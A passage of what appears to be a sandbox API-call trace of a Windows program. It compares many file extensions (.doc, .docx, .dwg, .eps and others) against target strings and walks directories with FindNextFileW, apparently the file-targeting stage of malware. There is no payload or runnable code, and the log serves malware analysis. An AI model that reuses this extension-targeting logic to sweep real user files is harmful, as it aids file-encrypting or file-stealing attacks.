[0143.441] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0143.441] lstrlenW (lpString=".divx") returned 5 [0143.441] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0143.441] lstrlenW (lpString=".djvu") returned 5 [0143.441] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0143.441] lstrlenW (lpString=".dng") returned 4 [0143.442] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0143.442] lstrlenW (lpString=".doc") returned 4 [0143.442] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0143.442] lstrlenW (lpString=".docm") returned 5 [0143.442] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0143.442] lstrlenW (lpString=".docx") returned 5 [0143.442] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0143.442] lstrlenW (lpString=".dot") returned 4 [0143.442] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0143.442] lstrlenW (lpString=".dotm") returned 5 [0143.442] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0143.442] lstrlenW (lpString=".dotx") returned 5 [0143.442] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0143.442] lstrlenW (lpString=".dpx") returned 4 [0143.442] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0143.443] lstrlenW (lpString=".dqy") returned 4 [0143.443] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0143.443] lstrlenW (lpString=".dsn") returned 4 [0143.443] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0143.443] lstrlenW (lpString=".dt") returned 3 [0143.443] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0143.443] lstrlenW (lpString=".dtd") returned 4 [0143.443] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0143.443] lstrlenW (lpString=".dwg") returned 4 [0143.443] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0143.443] lstrlenW (lpString=".dwt") returned 4 [0143.443] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0143.443] lstrlenW (lpString=".dx") returned 3 [0143.443] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0143.443] lstrlenW (lpString=".dxf") returned 4 [0143.443] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0143.443] lstrlenW (lpString=".edml") returned 5 [0143.443] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0143.443] lstrlenW (lpString=".efd") returned 4 [0143.443] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0143.443] lstrlenW (lpString=".elf") returned 4 [0143.443] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0143.443] lstrlenW (lpString=".emf") returned 4 [0143.443] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0143.443] lstrlenW (lpString=".emz") returned 4 [0143.443] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0143.443] lstrlenW (lpString=".epf") returned 4 [0143.443] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0143.443] lstrlenW (lpString=".eps") returned 4 [0143.443] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0143.443] lstrlenW (lpString=".epsf") returned 5 [0143.443] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0143.444] lstrlenW (lpString=".epsp") returned 5 [0143.444] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0143.444] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.444] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.445] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.445] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.445] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.445] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.446] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.446] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.447] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.447] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.447] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.447] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.448] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.448] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.448] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.448] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.448] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.448] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.449] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.449] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.450] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.450] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.450] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.450] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.450] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.450] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.451] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.451] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.452] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.452] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.453] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.453] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.453] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.453] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.454] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.454] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.456] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.456] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.456] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.456] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.457] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.457] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.457] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.457] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.457] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.484] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.769] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.770] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.056] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0144.056] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0144.056] FindClose (in: hFindFile=0x3e5c798 | out: hFindFile=0x3e5c798) returned 1 [0144.057] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.057] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0144.057] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0144.057] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0144.057] FindClose (in: hFindFile=0x3e5c418 | out: hFindFile=0x3e5c418) returned 1 [0144.057] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.057] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 0 [0144.057] FindClose (in: hFindFile=0x3e5c758 | out: hFindFile=0x3e5c758) returned 1 [0144.057] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.058] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0144.058] FindClose (in: hFindFile=0x3e5c658 | out: hFindFile=0x3e5c658) returned 1 [0144.058] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d0058 | out: hHeap=0x510000) returned 1 [0144.059] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 1 [0144.059] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0144.059] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0144.059] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0144.060] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0144.060] FindClose (in: hFindFile=0x3e5c658 | out: hFindFile=0x3e5c658) returned 1 [0144.060] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d0058 | out: hHeap=0x510000) returned 1 [0144.060] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 1 [0144.060] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0144.060] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0144.065] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.065] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.065] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.065] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.065] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.065] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.065] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.065] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.065] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.066] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.066] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.066] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.066] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.066] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.066] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.066] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.066] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.066] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.066] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.066] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.066] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.066] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.066] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.066] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.067] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.067] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.067] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.067] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.067] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.067] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.067] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.067] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.067] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.067] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.067] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.067] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.068] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.068] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.068] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.071] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.072] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.073] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.075] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.075] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.079] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.079] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.080] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.080] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.080] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.080] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.081] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.081] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.081] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.081] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.081] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.081] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.081] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.081] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.081] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.081] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.081] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.081] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.081] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.081] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.081] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.081] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.082] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.082] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0144.082] FindClose (in: hFindFile=0x3e5c798 | out: hFindFile=0x3e5c798) returned 1 [0144.082] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.082] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0144.082] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0144.082] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0144.082] FindClose (in: hFindFile=0x3e5c658 | out: hFindFile=0x3e5c658) returned 1 [0144.082] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d0058 | out: hHeap=0x510000) returned 1 [0144.089] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 1 [0144.089] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.089] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0144.089] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.089] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0144.089] FindClose (in: hFindFile=0x3e5c298 | out: hFindFile=0x3e5c298) returned 1 [0144.089] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d0058 | out: hHeap=0x510000) returned 1 [0144.089] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 1 [0144.089] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.089] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0144.090] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.090] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0144.090] FindClose (in: hFindFile=0x3e5c298 | out: hFindFile=0x3e5c298) returned 1 [0144.090] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0144.090] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 0 [0144.090] FindClose (in: hFindFile=0x3e5c758 | out: hFindFile=0x3e5c758) returned 1 [0144.090] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.090] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0144.091] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.091] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.091] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.091] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.091] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.091] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.091] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.091] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.091] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.091] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.091] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.091] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.091] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.091] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.091] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.091] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.092] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.092] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.092] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.092] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.092] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.092] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.092] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.092] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.092] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.092] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.092] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.092] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.092] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.092] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.092] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.092] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.093] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: 